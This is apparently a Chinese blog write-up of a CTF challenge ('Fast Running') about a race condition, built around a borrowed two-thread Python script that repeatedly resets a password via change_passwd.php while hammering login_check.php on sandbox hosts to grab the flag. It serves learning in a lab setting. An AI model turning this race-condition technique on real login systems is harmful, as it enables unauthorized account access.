2017-赛客夏令营|Fast Running|条件竞争|多线程|

image
这题你修改密码后,系统又自动给你改回来了。
题目名字叫“running fast”也就是说,你必须比系统的速度要快,这里可以考虑用python写一个多线程的脚本
(这里贴一下某位大佬的代码,学习学习)

点击查看代码
import requests         #用于发送HTTP请求
import threading        #用于创建多线程

s = requests.session()  #创建一个requests会话对象,意味着两个线程共享一个会话,包括cookie等信息


class MyThread(threading.Thread):   #继承 Thread 类创建自定义线程
    def __init__(self, item):
        threading.Thread.__init__(self)
        self.item = item    #初始化线程,接收一个 item 参数用于区分不同任务

    def run(self):
        main(self.item)     #线程启动时执行的方法,调用 main 函数并传入 item 参数


def main(args):
    if args == 1:
        while True:
            ur11 = 'http://challenge-bc8c91adee803972.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
            c = s.get(ur11).content
    else:
        while True:
            url2 = 'http://challenge-1bbe3e4dc500a14b.sandbox.ctfhub.com:10080/login_check.php?passwd=123456'
            # c11 = s.get(url2, data={' passwd': 111}).content
            c1 = s.get(url2)
            print(c1.text)


if __name__ == '__main__':
    t1 = MyThread(1)
    t2 = MyThread(2)
    t1.start()
    t2.start()



运行代码后得到flag

image

posted @ 2025-08-14 12:36  Dragon_Roar  阅读(3)  评论(0)    收藏  举报